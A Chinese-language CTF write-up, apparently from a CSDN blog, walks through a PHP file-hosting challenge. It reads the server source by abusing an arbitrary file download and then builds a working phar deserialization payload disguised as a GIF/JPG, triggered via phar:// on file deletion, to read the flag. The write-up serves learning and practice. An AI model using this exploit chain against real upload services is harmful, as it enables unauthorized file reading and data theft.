先注册登录
登录上来发现有文件上传按钮
随便上传一个txt试一下

只能上传gif/jpg/png,按他的要求上传一个jpg
上传成功后有个下载按钮

抓包看一下

发现filename参数就是我们要下载的文件名
读取download.php,delete.php和class.php

download.php
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- if (!isset($_POST['filename'])) {
- die();
- }
-
- include "class.php";
- ini_set("open_basedir", getcwd() . ":/etc:/tmp");
-
- chdir($_SESSION['sandbox']);
- $file = new File();
- $filename = (string) $_POST['filename'];
- if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
- Header("Content-type: application/octet-stream");
- Header("Content-Disposition: attachment; filename=" . basename($filename));
- echo $file->close();
- } else {
- echo "File not exist";
- }
- ?>
delete.php
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- if (!isset($_POST['filename'])) {
- die();
- }
-
- include "class.php";
-
- chdir($_SESSION['sandbox']);
- $file = new File();
- $filename = (string) $_POST['filename'];
- if (strlen($filename) < 40 && $file->open($filename)) {
- $file->detele();
- Header("Content-type: application/json");
- $response = array("success" => true, "error" => "");
- echo json_encode($response);
- } else {
- Header("Content-type: application/json");
- $response = array("success" => false, "error" => "File not exist");
- echo json_encode($response);
- }
- ?>
class.php
- error_reporting(0);
- $dbaddr = "127.0.0.1";
- $dbuser = "root";
- $dbpass = "root";
- $dbname = "dropbox";
- $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
-
- class User {
- public $db;
-
- public function __construct() {
- global $db;
- $this->db = $db;
- }
-
- public function user_exist($username) {
- $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->store_result();
- $count = $stmt->num_rows;
- if ($count === 0) {
- return false;
- }
- return true;
- }
-
- public function add_user($username, $password) {
- if ($this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
- $stmt->bind_param("ss", $username, $password);
- $stmt->execute();
- return true;
- }
-
- public function verify_user($username, $password) {
- if (!$this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->bind_result($expect);
- $stmt->fetch();
- if (isset($expect) && $expect === $password) {
- return true;
- }
- return false;
- }
-
- public function __destruct() {
- $this->db->close();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
-
- public function __construct($path) {
- $this->files = array();
- $this->results = array();
- $this->funcs = array();
- $filenames = scandir($path);
-
- $key = array_search(".", $filenames);
- unset($filenames[$key]);
- $key = array_search("..", $filenames);
- unset($filenames[$key]);
-
- foreach ($filenames as $filename) {
- $file = new File();
- $file->open($path . $filename);
- array_push($this->files, $file);
- $this->results[$file->name()] = array();
- }
- }
-
- public function __call($func, $args) {
- array_push($this->funcs, $func);
- foreach ($this->files as $file) {
- $this->results[$file->name()][$func] = $file->$func();
- }
- }
-
- public function __destruct() {
- $table = '
';- $table .= '
';- foreach ($this->funcs as $func) {
- $table .= '
' . htmlentities($func) . ' '; - }
- $table .= '
Opt '; - $table .= '
';- foreach ($this->results as $filename => $result) {
- }
- echo $table;
- }
- }
-
- class File {
- public $filename;
-
- public function open($filename) {
- $this->filename = $filename;
- if (file_exists($filename) && !is_dir($filename)) {
- return true;
- } else {
- return false;
- }
- }
-
- public function name() {
- return basename($this->filename);
- }
-
- public function size() {
- $size = filesize($this->filename);
- $units = array(' B', ' KB', ' MB', ' GB', ' TB');
- for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
- return round($size, 2).$units[$i];
- }
-
- public function detele() {
- unlink($this->filename);
- }
-
- public function close() {
- return file_get_contents($this->filename);
- }
- }
- ?>
要读取flag的话,需要用到class.php中的File类中的close函数
public function close() {
return file_get_contents($this->filename);
}
再看FileList类中__call魔术方法
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
这个方法主要就是把$file->$func()的结果放入了$this->results里。至于[$file->name()][$func]这些东西不需要管,因为最终FileList类中的__destruct方法会把$result里面的内容给echo出来
foreach ($this->results as $filename => $result) {
$table .= '
';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
因此我们要想办法让$file=new File(),而$func()是close()。也就是说,使用了FileList类中不存在的方法close()的时候可以把close()给传进去,而$file就是$files里的,而$files是我们可控的
发现
public function __destruct() {
$this->db->close();
}
User类的__destruct方法会调用close(),因此我们让$this->db是new FileList(),这个反序列化的链就构造成功了。
User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()
payload:
- class User {
- public $db;
- public function __construct(){
- $this->db=new FileList();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
- public function __construct(){
- $this->files=array(new File());
- }
-
-
- }
-
- class File {
- public $filename='/flag.txt';
- }
-
-
- @unlink("phar.phar");
- $phar = new Phar("phar.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub("GIF89a".""); //设置stub
- $o = new User();
- $phar->setMetadata($o); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();
- ?>
把得到的phar.phar改名为phar.jpg传上去,然后执行删除操作时添加phar://


-
相关阅读:
jmeter报Java.NET.BindException: Address already in use: connect
校友录系统
NAT-DDNS内网穿透技术,快解析DDNS的优势
【二】2D测量 Metrology——get_metrology_object_num_instances()算子
heic格式图片怎么转换jpg?
(1)多线程-线程的创建
RabbitMQ消息确认机制
Python实现人脸识别
程序员的护城河:技术深度、创新追求与软实力的完美结合
Redis未授权访问的三种利用方式
-
原文地址:https://blog.csdn.net/Yb_140/article/details/127788425